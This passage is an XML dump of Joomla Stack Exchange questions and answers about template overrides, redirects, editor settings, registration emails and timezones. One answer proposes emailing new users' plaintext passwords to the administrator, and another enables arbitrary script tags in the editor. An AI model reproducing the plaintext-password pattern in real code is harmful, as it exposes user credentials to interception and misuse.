  <row Id="16253" PostTypeId="2" ParentId="15598" CreationDate="2016-04-21T15:26:32.083" Score="0" Body="&lt;p&gt;You can create a template override for the mod_menu. In there simply write your own code for the output of the mod_menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To create a template override for the menu module:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Locate (or create if not exists) the following path folders: &#xA;&lt;strong&gt;&lt;code&gt;templates/yourTemplate/html/mod_menu&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the &lt;strong&gt;&lt;code&gt;default.php&lt;/code&gt;&lt;/strong&gt; from &lt;strong&gt;&lt;code&gt;modules/mod_menu/tmpl/&lt;/code&gt;&lt;/strong&gt;, to the above location.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this override file you can write your desired code for the layout output of the menu module.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am sure this page will be very useful:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;Joomla: Understanding Output Overrides&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that usually most templates come with their own template override for the mod_menu. If you don't want to change the layout that comes with your template, then you could go with an &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;Alternative Layout&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-24T09:57:21.017" LastActivityDate="2016-04-24T09:57:21.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16254" PostTypeId="2" ParentId="16172" CreationDate="2016-04-21T15:30:14.777" Score="1" Body="&lt;p&gt;Please check the status that the language-switch module ist published. If the status is not public, this may cause the issue.&lt;/p&gt;&#xA;" OwnerUserId="3834" LastEditorUserId="3834" LastEditDate="2016-04-23T09:32:45.407" LastActivityDate="2016-04-23T09:32:45.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16255" PostTypeId="2" ParentId="16245" CreationDate="2016-04-21T16:09:52.197" Score="0" Body="&lt;p&gt;Please edit .htaccess in you joomla root directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sample in .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^site.com&#xA;RewriteRule (.*) http://www.site.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you use params - redirect with params: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;site.com/blog?limitstart=0  to  site.com/blog&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^limitstart=0&#xA;RewriteRule ^blog http://site.com/blog? [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8243" LastActivityDate="2016-04-21T16:09:52.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16257" PostTypeId="2" ParentId="16209" CreationDate="2016-04-21T16:45:16.420" Score="0" Body="&lt;p&gt;you can use redirect with params:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;site.com/blog?limitstart=0 to site.com/blog&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^limitstart=0&#xA;RewriteRule ^blog http://site.com/blog? [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8243" LastActivityDate="2016-04-21T16:45:16.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16258" PostTypeId="2" ParentId="16196" CreationDate="2016-04-21T17:29:52.397" Score="1" Body="&lt;p&gt;We were never able to solve this with Tiny MCE either. As Neil suggests, you merely turn it off entirely while using it, or utilize Sourcerer from the component formerly known as NoNumber.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Install JCE as your editor.&lt;/strong&gt; There you have the ability to set it to allow script, iframes, etc, and you have a better editor with more control at the end of it. JCE isn't perfect, but it solves a lot of problems Tiny MCE never seemed to work around.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-04-21T17:29:52.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16259" PostTypeId="1" CreationDate="2016-04-21T18:24:53.420" Score="4" ViewCount="310" Body="&lt;p&gt;When I go to a section in the administration, for instance Article -&gt; Create, the administration menu turns disabled. It seems the reason is to prevent sudden click on the menus and turning away from some data-sensitive pages, such as creating an article whose sudden click can lead to loss of half an hour work. Now, my first question is that, Am I true? Is such behavior standard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, is there any method to turn such behavior off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snapshot of the menu when it is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mhEka.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mhEka.jpg&quot; alt=&quot;Administration menu being disabled in certain sections of the site.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8286" LastActivityDate="2016-04-22T05:59:20.993" Title="Joomla Administration menu auto-disable in the internal sections" Tags="|menu|administrator|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16260" PostTypeId="2" ParentId="16259" CreationDate="2016-04-21T18:52:17.803" Score="2" Body="&lt;p&gt;Yes, this is the reason behind disabling the top menu on edit views. You'll get some people that are performing different tasks in the back-end on different tabs and accidentally navigate to a different page using the top menu, on the wrong tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how other CMS's approach something like this, but I'd say yes, it is standard practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that does this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;set('hidemainmenu', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is located in a component's &lt;code&gt;view.html.php&lt;/code&gt;, which cannot be overridden, so instead, I'd suggest creating a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Template Override&lt;/a&gt; for the component's view (&lt;code&gt;default.php&lt;/code&gt;) and adding the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;set('hidemainmenu', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this, but am pretty sure it will work.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-21T23:42:40.510" LastActivityDate="2016-04-21T23:42:40.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16261" PostTypeId="2" ParentId="16252" CreationDate="2016-04-21T20:11:16.717" Score="3" Body="&lt;p&gt;This depends on your template, for example in the default &lt;em&gt;Protostar&lt;/em&gt; template you&lt;br/&gt; can find this file in:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;/templates/protostar/html/pagination.php&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you don't have this file you can create a new one, find the default code here:&lt;br/&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/templates/protostar/html/pagination.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/templates/protostar/html/pagination.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! includes &lt;em&gt;Bootstrap&lt;/em&gt; v2.3.2, you can use the css in this version or you can &lt;br/&gt;use your custom css, here you have the reference:&#xA;&lt;a href=&quot;http://getbootstrap.com/2.3.2&quot; rel=&quot;nofollow&quot;&gt;http://getbootstrap.com/2.3.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can incorporate your custom css in your main css or less file in the section related&lt;br/&gt;with pagination, or you can override the css, in some template frameworks we can add&lt;br/&gt;    a custom.css file or similar, check if you have this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-04-21T20:18:22.000" LastActivityDate="2016-04-21T20:18:22.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16262" PostTypeId="2" ParentId="16119" CreationDate="2016-04-22T03:47:14.667" Score="0" Body="&lt;p&gt;I do something similar on administrator sections. I redirect users to a specific component url after login: &lt;a href=&quot;https://github.com/blackbricksoftware/joomla-adminredirect&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blackbricksoftware/joomla-adminredirect&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a plugin to hook into the &lt;code&gt;onUserAfterLogin&lt;/code&gt; method of a user plugin. Replace out the main file in the example plugin above with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;&#xA;// http://docs.joomla.org/Plugin/Events/System&#xA;// http://docs.joomla.org/J2.5:Creating_a_System_Plugin_to_augment_JRouter&#xA;// http://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&#xA;&#xA;class PlgUserAdminRedirect extends JPlugin {&#xA;&#xA;    public function __construct(&amp;amp;$subject, $config) {&#xA;&#xA;        parent::__construct($subject, $config); &#xA;    }&#xA;&#xA;    public function onUserAfterLogin() {&#xA;&#xA;        $app = JFactory::getApplication(); &#xA;        $return = $app-&amp;gt;input-&amp;gt;getBase64('return');&#xA;&#xA;        if (empty($return)) return;&#xA;&#xA;        $app-&amp;gt;redirect(JRoute::_($redirecturl,false));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-04-22T03:47:14.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16263" PostTypeId="2" ParentId="16259" CreationDate="2016-04-22T05:59:20.993" Score="2" Body="&lt;p&gt;I just tried if it is possible to solve that with a system plugin and it worked :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the plugin here:&#xA;&lt;a href=&quot;https://github.com/fruppel/plg_enableadminmenu/releases&quot; rel=&quot;nofollow&quot;&gt;https://github.com/fruppel/plg_enableadminmenu/releases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to publish the plugin after installation.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-04-22T05:59:20.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16264" PostTypeId="1" CreationDate="2016-04-22T07:25:39.813" Score="4" ViewCount="563" Body="&lt;p&gt;I have around 100 websites on a single server, all in &lt;strong&gt;j3.2.x&lt;/strong&gt; all working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if i want to add a single &lt;strong&gt;module/component/plugin&lt;/strong&gt; in all the websites i have to log-in in all the websites and add the respective &lt;strong&gt;module/component/plugin&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to update all the websites in one click or through copying folders or updating the database...??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or any other way to apply the changes to all the websites??? because going to all the websites and applying the changes is a lot of work.&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="126" LastEditDate="2016-04-26T07:52:00.850" LastActivityDate="2019-09-07T06:27:04.760" Title="Mass Joomla sites Updates / Maintenance" Tags="|joomla-3.x|update|administration|one-click-updates|maintenance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16265" PostTypeId="2" ParentId="16238" CreationDate="2016-04-22T08:15:26.023" Score="1" Body="&lt;p&gt;All of the 3 ways (models, JTable, helper class) are legit ways in Joomla to solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably make a JTable class for your look up table (for CRUD operations) and add models (list and item) and the views and controllers for it. So you can modify the lookup data in your backend and if you add some more special fields to your table you could use more of Joomla's built in functionality (e.g. publishing, ordering, etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could write a method in your single item model to get you the look up data based on a zip parameter or (probably my way) you could write an additional helper class which will call the model's getItem method and set a zip filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Include your single item model&#xA;require_once JPATH_ROOT . '/administrator/components/com_mycomponent/models/lookup.php';&#xA;&#xA;class MycomponentHelperLookup&#xA;{&#xA;    public static function getDataByZip($zip)&#xA;    {&#xA;        $model = JModelLegacy::getInstance('Lookup', 'MycomponentModel', array('ignore_request' =&amp;gt; true));&#xA;        $model-&amp;gt;setState('filter.zip', $zip);&#xA;        return $model-&amp;gt;getItem();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this way you have a high level of reuseability and you are able to use a lot of Joomla functionality.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2016-04-22T08:22:05.853" LastActivityDate="2016-04-22T08:22:05.853" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16266" PostTypeId="1" CreationDate="2016-04-22T08:18:29.070" Score="0" ViewCount="868" Body="&lt;p&gt;The website requires administrator approval of users but I need the email to the admin to contain not just the name and email address of the new user but also all the other details in the login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this registration form and it looks like this: &lt;a href=&quot;https://i.stack.imgur.com/Zewmt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zewmt.png&quot; alt=&quot;registration form&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make the auto-email send all these details? Where do I look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7490" LastActivityDate="2016-12-18T15:03:27.467" Title="How do I make the registration verification email send all user details?" Tags="|administrator|emails|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16267" PostTypeId="2" ParentId="16264" CreationDate="2016-04-22T08:29:33.837" Score="4" Body="&lt;p&gt;I could suggest the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Watchful.li&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Watchful.li&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A subscription based service, to monitor, audit, backup, manage, update Joomla sites remotely from a single location. You install the Watchful.li client into your sites and start using the service.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Joomla Multi-Sites&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You can setup your sites under a Multi-Sites environment, if your scenario is fitting in.&lt;/p&gt;&#xA;&lt;p&gt;2 of the most common fits are the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If sites are under the same hosting account, you could look into developing the Multi-Sites environment, especially if they have similar features/purpose, and you still need to create more similar websites.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If sites are under the same server (not hosting) but still have similar features/ purpose, you could put them under a single hosting account in a MS setup.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Setting up Multi-sites will require some work, and it won't be that easy in the beginning, but if the use-case is a good fit, it will make things much more flexible in the future and at the end you will have to maintain a single Joomla installation.&lt;/p&gt;&#xA;&lt;p&gt;Here you find extensions for &lt;a href=&quot;http://extensions.joomla.org/category/core-enhancements/multiple-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Multi-Sites&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;Links to other relevant Q/A in JSE:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2489/multiple-website-managment-with-joomla/14782#14782&quot;&gt;Multiple website managment with Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/10911/2-domains-2-templates-one-cms-with-same-content/16312#16312&quot;&gt;2 domains, 2 templates one cms with same content&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16547/how-to-update-an-online-website/16551#16551&quot;&gt;How to update an online website?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4809/single-source-many-joomla-sites-on-a-server-how-could-it-be-possible/4837#4837&quot;&gt;Single source many Joomla sites on a server. How could it be possible?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/419/is-there-a-way-to-promote-articles-between-environments&quot;&gt;Is there a way to promote articles between environments?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/126/how-do-you-update-a-website-once-it-has-gone-live/135#135&quot;&gt;How do you update a website once it has gone live?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-23T08:19:17.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16268" PostTypeId="2" ParentId="16266" CreationDate="2016-04-22T11:08:05.470" Score="1" Body="&lt;p&gt;You must edit file /components/com_user/models/registration.php line 549&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$emailBodyAdmin = JText::sprintf(&#xA;    'COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY',&#xA;    $data['name'],&#xA;    $data['username'],&#xA;    $data['siteurl']&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template is on /languages/your-language/your-language.com_users.ini (ex: /languages/en-GB/en-GB.com_users.ini) seek for COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY define&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY=&quot;Hello administrator, \n\nA new user '%s', username '%s', has registered at %s.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;first $s is $data['name'], second $s is $data['username'], etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you want to add password:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$emailBodyAdmin = JText::sprintf(&#xA;    'COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY',&#xA;    $data['name'],&#xA;    $data['username'],&#xA;    $data['siteurl'],&#xA;    $data['password_clear']&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY=&quot;Hello administrator, \n\nA new user '%s', username '%s', has registered at %s with password:%s.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also add all $data contents&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($data as $key=&amp;gt;$value) {&#xA;    $emailBodyAdmin .= $key.&quot; = &quot;.$value.&quot;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or write custom $emailBodyAdmin field by field.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-04-22T11:08:05.470" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16270" PostTypeId="1" AcceptedAnswerId="16276" CreationDate="2016-04-22T13:08:59.360" Score="4" ViewCount="539" Body="&lt;p&gt;I've built my own template so that when someone creates an article, the image on the top ( like an intro image ) has a &lt;code&gt;width&lt;/code&gt; of 100% and its own &lt;code&gt;height&lt;/code&gt; ( could be &lt;code&gt;200px&lt;/code&gt; or whatever ). Now someone decided to create a new article and put more than just one picture in the article with their own width, position etc. But because of my intro image they've all got a width of 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to create a &lt;code&gt;module&lt;/code&gt; for these pictures, but I can't always create an article for someone and put a module around it because he wants his picture for example on the left with 29,97% &lt;code&gt;width&lt;/code&gt; ( or 65% it doesn't matter ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate all the help and comments!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Thank you all for helping me! Unfortunately I can only accept one answer, so I chose @FFrewin because his answer listed a few more ways to handle this problem but the other answers helped me out too!&lt;/p&gt;&#xA;" OwnerUserId="8050" LastEditorUserId="126" LastEditDate="2016-04-26T07:50:25.093" LastActivityDate="2016-04-26T07:50:25.093" Title="Random image in an article" Tags="|joomla-3.x|articles|css|layout|images|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16271" PostTypeId="2" ParentId="16270" CreationDate="2016-04-22T14:13:47.247" Score="1" Body="&lt;p&gt;Some ideas:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the nth or :first selector in css, so only the first image in that area is 100%&lt;/li&gt;&#xA;&lt;li&gt;Add new style/styles they can select via the WYWIWYG using the editor.css file in your template - they can then choose what width an image should be by using this.&lt;/li&gt;&#xA;&lt;li&gt;Use the Full Article Image for your top image, and apply a style that only applies to that area.  By default I think that would be .item-img image, but you can always update the article layout in your template's overrides to make this work how you want.&lt;/li&gt;&#xA;&lt;li&gt;Use max-width instead of width, and tell them they should always make the main image X pixels or above.  Stretching images above their natural size is never a great idea anyway as they pixellate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-04-22T16:08:58.687" LastActivityDate="2016-04-22T16:08:58.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16272" PostTypeId="2" ParentId="16270" CreationDate="2016-04-22T15:20:38.523" Score="4" Body="&lt;p&gt;You have to use a more specific CSS selector in order to target only the main image, and not all images added to an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main article image (added through the &quot;Images and links&quot; tab in the article editor) are usually displayed within a &lt;code&gt;&amp;lt;div class=&quot;item-image&quot;&amp;gt;&lt;/code&gt;, so you can simply change your CSS to target this image only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.item-image img {&#xA;    width: 100%;&#xA;    height: auto;&#xA;    /* Add your styles here */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-22T15:20:38.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16273" PostTypeId="2" ParentId="16196" CreationDate="2016-04-22T15:38:59.280" Score="2" Body="&lt;p&gt;TinyMCE removes empty tags by default, so a tag like &lt;code&gt;&amp;lt;script src=&quot;myScript.js&quot;&amp;gt;&amp;lt;/script&lt;/code&gt; would be removed because it's empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try changing the settings of the TinyMCE plugin (&lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Plugins&lt;/strong&gt; -&gt; **Editor - TinyMCE) and add the following text to the &lt;code&gt;Extended Valid Elements&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;script[*]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3kYN2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3kYN2.jpg&quot; alt=&quot;TinyMCE allow empty tags&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should allow you to add JavaScript directly in the TinyMCE editor, just make sure you paste the code into the code view, not the WYSIWYG editor. It also seems to work with inline scripts (&lt;code&gt;&amp;lt;script&amp;gt;alert(&quot;Testing&quot;);&amp;lt;/script&amp;gt;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This method is also very useful for empty tags used for icons etc. Adding &lt;code&gt;i[*]&lt;/code&gt; to Extended Valid Elements would allow you to use Font Awesome icons without having the code removed:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;i class=&quot;fa fa-joomla&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-22T15:38:59.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16274" PostTypeId="1" AcceptedAnswerId="16278" CreationDate="2016-04-22T16:22:48.797" Score="5" ViewCount="509" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My business website is using an appointments scheduler/shopping cart called VikAppointments so my dates/times are very important for smooth business operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Timezone is Central European Time Zone UTC+01:00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on a shared hosting plan with Hostgator and they have my shared server time set to America/Chicago | 2016-04-22 10:54:31 CDT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting my Joomla time to Central European Time Zone but when I go into VikAppointments the default Timezone is still set as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The documentation says the following:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Current Default Time Zone The default Timezone set on the php.ini&#xA;  configuration of your server. If this value doesn't correspond to the&#xA;  local area of your business, you should contact your hosting provider.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However hostgator says this about Timezones on shared accounts:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The server clock is set to Central Standard Time (CST). While you&#xA;  cannot change the time on a shared server's clock, you can change the&#xA;  time zone which is displayed by using a PHP script.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way (perhaps adding some PHP to one of my root directory files?) to set my Timezone so that it will show up correctly in my Joomla Extensions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very grateful here for any heeeelp! :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a whole host of things&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have the following code added to my .htaccess file in the  public_html directory... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;SetEnv TZ Europe/Paris&#xA;## End - Custom redirects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it changes nothing (and I have Apache ReQriting turned ON).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the answer below for the .htaccess (I cant access my php.ini file because I am on shared hosting!!) and it gives me 500 internal errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is incredibly difficult!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update II and 